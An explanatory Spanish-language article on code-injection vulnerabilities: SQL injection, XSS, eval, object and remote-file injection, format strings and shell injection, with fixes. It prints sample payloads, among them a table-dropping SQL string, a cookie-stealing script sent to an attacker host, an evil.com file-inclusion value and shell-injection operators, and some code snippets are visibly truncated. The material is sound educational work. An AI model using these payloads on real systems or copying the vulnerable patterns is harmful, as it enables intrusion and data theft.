Inyección SQLEditar
La inyección SQL aprovecha la sintaxis de SQL para inyectar comandos que pueden leer o modificar una base de datos, o comprometer el significado de la consulta original.
Por ejemplo, considere una página web que tiene dos campos para permitir a los usuarios introducir un nombre de usuario y una contraseña. El código detrás de la página generará una consulta SQL para comprobar la contraseña con la lista de nombres de usuario:
SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'Password'
Si esta consulta devuelve alguna fila, entonces se concede el acceso. Sin embargo, si el usuario malintencionado introduce un nombre de usuario válido e inyecta algún código válido (password' OR '1'='1
) en el campo de la contraseña, entonces la consulta resultante tendrá el siguiente aspecto:
SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'password' OR '1'='1'
En el ejemplo anterior, se supone que la «contraseña» está en blanco o es alguna cadena inocua. «'1'='1'
» siempre será verdadero y se devolverán muchas filas, permitiendo así el acceso.
La técnica puede refinarse para permitir la ejecución de múltiples sentencias, o incluso para cargar y ejecutar programas externos.
Supongamos una consulta con el siguiente formato:
SELECT User.UserIDFROM UserWHERE User.UserID = ' " + UserID + " 'AND User.Pwd = ' " + Password + " '
Si un adversario tiene lo siguiente como entradas:
UserID: ';DROP TABLE User; --'
Password: 'OR"='
la consulta será analizada para ser:
SELECT User.UserIDFROM UserWHERE User.UserID = '';DROP TABLE User; --'AND Pwd = ''OR"='
El resultado es que la tabla User
será eliminada de la base de datos. Esto ocurre porque el símbolo ;
significa el final de un comando y el comienzo de uno nuevo. --
significa el inicio de un comentario.
Cross-site scriptingEdit
La inyección de código es la inyección o introducción maliciosa de código en una aplicación. Algunos servidores web tienen un script de libro de visitas, que acepta pequeños mensajes de los usuarios, y normalmente recibe mensajes como:
Very nice site!
Sin embargo, una persona maliciosa puede conocer una vulnerabilidad de inyección de código en el libro de visitas, e introduce un mensaje como:
Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script>
Si otro usuario ve la página, entonces se ejecutará el código inyectado. Este código puede permitir al atacante hacerse pasar por otro usuario. Sin embargo, este mismo error de software puede ser activado accidentalmente por un usuario sin pretensiones, lo que hará que el sitio web muestre un código HTML incorrecto.
La inyección de HTML y scripts es un tema muy popular, comúnmente denominado «cross-site scripting» o «XSS». XSS se refiere a un fallo de inyección por el que la entrada del usuario a un script web o algo parecido se coloca en el HTML de salida, sin que se compruebe el código HTML o el scripting.
Muchos de estos problemas están relacionados con suposiciones erróneas sobre los datos de entrada posibles, o los efectos de los datos especiales.
Vulnerabilidades de evaluación dinámicaEditar
Una vulnerabilidad de inyección eval()
ocurre cuando un atacante puede controlar toda o parte de una cadena de entrada que se introduce en una llamada a una función eval()
.
$myvar = 'somevalue';$x = $_GET;eval('$myvar = ' . $x . ';');
El argumento de «eval
» se procesará como PHP, por lo que se pueden añadir comandos adicionales. Por ejemplo, si «arg» se establece como «10; system('/bin/echo uh-oh')
«, se ejecuta código adicional que ejecuta un programa en el servidor, en este caso «/bin/echo
«.
Inyección de objetosEditar
PHP permite la serialización y deserialización de objetos completos. Si se permite la entrada no fiable en la función de deserialización, es posible sobrescribir las clases existentes en el programa y ejecutar ataques maliciosos. Un ataque de este tipo en Joomla fue encontrado en 2013.
Inyección remota de archivosEditar
Considera este programa PHP (que incluye un archivo especificado por petición):
<?php$color = 'blue';if (isset($_GET)) $color = $_GET;require($color . '.php');
El ejemplo podría leerse como que sólo se podrían cargar archivos de color como blue.php
y red.php
, mientras que los atacantes podrían proporcionar COLOR=http://evil.com/exploit
haciendo que PHP cargue el archivo externo.
Inyección de especificador de formatoEditar
Los fallos de cadena de formato aparecen más comúnmente cuando un programador desea imprimir una cadena que contiene datos suministrados por el usuario. El programador puede escribir por error printf(buffer)
en lugar de printf("%s", buffer)
. La primera versión interpreta buffer
como una cadena de formato, y analiza cualquier instrucción de formato que pueda contener. La segunda versión simplemente imprime una cadena en la pantalla, como el programador pretendía.Considere el siguiente programa corto en C que tiene una variable local char array password
que contiene una contraseña; el programa pide al usuario un entero y una cadena, y luego se hace eco de la cadena proporcionada por el usuario.
char user_input; int int_in; char password = "Password1"; printf("Enter an integer\n"); scanf("%d", &int_in); printf("Please enter a string\n"); fgets(user_input, sizeof(user_input), stdin); printf(user_input); // Safe version is: printf("%s", user_input); printf("\n"); return 0;
Si la entrada del usuario se llena con una lista de especificadores de formato como %s%s%s%s%s%s%s%s
, entonces printf()
empezará a leer de la pila. Finalmente, uno de los especificadores de formato %s
accederá a la dirección de password
, que está en la pila, e imprimirá Password1
en la pantalla.
Inyección de shellEdit
La inyección de shell (o inyección de comandos) recibe su nombre de los shells de Unix, pero se aplica a la mayoría de los sistemas que permiten que el software ejecute programáticamente una línea de comandos. He aquí un ejemplo de script tcsh vulnerable:
#!/bin/tcsh# check arg outputs it matches if arg is one if ( == 1) echo it matches
Si lo anterior se almacena en el archivo ejecutable ./check
, el comando shell ./check " 1 ) evil"
intentará ejecutar el comando shell inyectado evil
en lugar de comparar el argumento con la constante. En este caso, el código atacado es el que intenta comprobar el parámetro, el mismo código que podría haber estado intentando validar el parámetro para defenderse de un ataque.
Cualquier función que pueda utilizarse para componer y ejecutar un comando shell es un vehículo potencial para lanzar un ataque de inyección de shell. Entre ellas están system()
, StartProcess()
y System.Diagnostics.Process.Start()
.
Los sistemas cliente-servidor, como la interacción del navegador web con los servidores web, son potencialmente vulnerables a la inyección de shell. Considere el siguiente programa PHP corto que puede ejecutarse en un servidor web para ejecutar un programa externo llamado funnytext
para reemplazar una palabra que el usuario envió con alguna otra palabra.
<?phppassthru("/bin/funnytext " . $_GET);
El passthru
en lo anterior compone un comando de shell que luego es ejecutado por el servidor web. Dado que parte del comando que compone se toma de la URL proporcionada por el navegador web, esto permite que la URL inyecte comandos shell maliciosos. Uno puede inyectar código en este programa de varias maneras explotando la sintaxis de varias características del shell (esta lista no es exhaustiva):
Función del shell | USER_INPUT valor |
Comando del shell resultante | Explicación |
---|---|---|---|
Ejecución secuencial | ; malicious_command |
/bin/funnytext ; malicious_command |
Ejecuta funnytext , luego ejecuta malicious_command . |
Sustitución de comandos | | malicious_command |
/bin/funnytext | malicious_command |
Envía la salida de funnytext como entrada a malicious_command . |
Sustitución de comandos | `malicious_command` |
/bin/funnytext `malicious_command` |
Envía la salida de malicious_command como argumentos a funnytext . |
Sustitución de comandos | $(malicious_command) |
/bin/funnytext $(malicious_command) |
Envía la salida de malicious_command como argumentos a funnytext . |
AND list | && malicious_command |
/bin/funnytext && malicious_command |
Ejecuta malicious_command si funnytext devuelve un estado de salida de 0 (éxito). |
OR lista | || malicious_command |
/bin/funnytext || malicious_command |
Ejecuta malicious_command si funnytext devuelve un estado de salida distinto de cero (error). |
Redirección de salida | > ~/.bashrc |
/bin/funnytext > ~/.bashrc |
Sobreescribe el contenido del fichero .bashrc con la salida de funnytext . |
Redirección de entrada | < ~/.bashrc |
/bin/funnytext < ~/.bashrc |
Envía el contenido del fichero .bashrc como entrada a funnytext . |
Algunos lenguajes ofrecen funciones para escapar adecuadamente o entrecomillar cadenas que se utilizan para construir comandos del shell:
- PHP:
escapeshellarg()
yescapeshellcmd()
- Python:
shlex.quote()
Sin embargo, esto todavía pone la carga en los programadores para conocer/aprender acerca de estas funciones y recordar para hacer uso de ellos cada vez que utilizan los comandos del shell. Además de utilizar estas funciones, también se recomienda validar o sanear la entrada del usuario.
Una alternativa más segura es utilizar APIs que ejecuten programas externos directamente, en lugar de a través de un shell, evitando así la posibilidad de inyección en el shell. Sin embargo, estas APIs tienden a no soportar varias características convenientes de los shells, y/o a ser más engorrosas/verbosas comparadas con la sintaxis concisa del shell.